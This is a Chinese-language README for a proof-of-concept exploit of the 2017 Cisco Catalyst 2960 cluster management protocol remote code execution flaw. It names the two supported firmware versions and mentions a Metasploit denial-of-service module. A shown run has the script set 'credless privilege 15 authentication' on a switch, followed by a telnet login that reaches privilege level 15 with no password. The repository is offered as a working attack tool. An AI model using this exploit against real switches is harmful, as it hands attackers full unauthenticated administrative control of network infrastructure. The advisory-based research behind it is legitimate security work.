Cisco Catalyst 远程代码执行 PoC
本仓库包含用于利用 Cisco Systems 于 2017 年 3 月 17 日披露的远程代码执行漏洞的概念验证（Proof-Of-Concept）代码 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp
漏洞利用分析文章：https://errorcybernews.com/2017/05/11/cisco-systems-merilis-update-switch/
RCE 漏洞利用代码适用于 Cisco Catalyst 2960 交换机型号。该漏洞利用依赖于固件版本。支持以下两个固件版本：
12.2(55)SE1 C2960-LANBASEK9-M
12.2(55)SE11 C2960-LANBASEK9-M
拒绝服务（Denial of Service）代码以 Metasploit Ruby 模块的形式提供。该模块应适用于 Cisco 公告中提到的大多数交换机（需要确认）。
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
Current privilege level is 15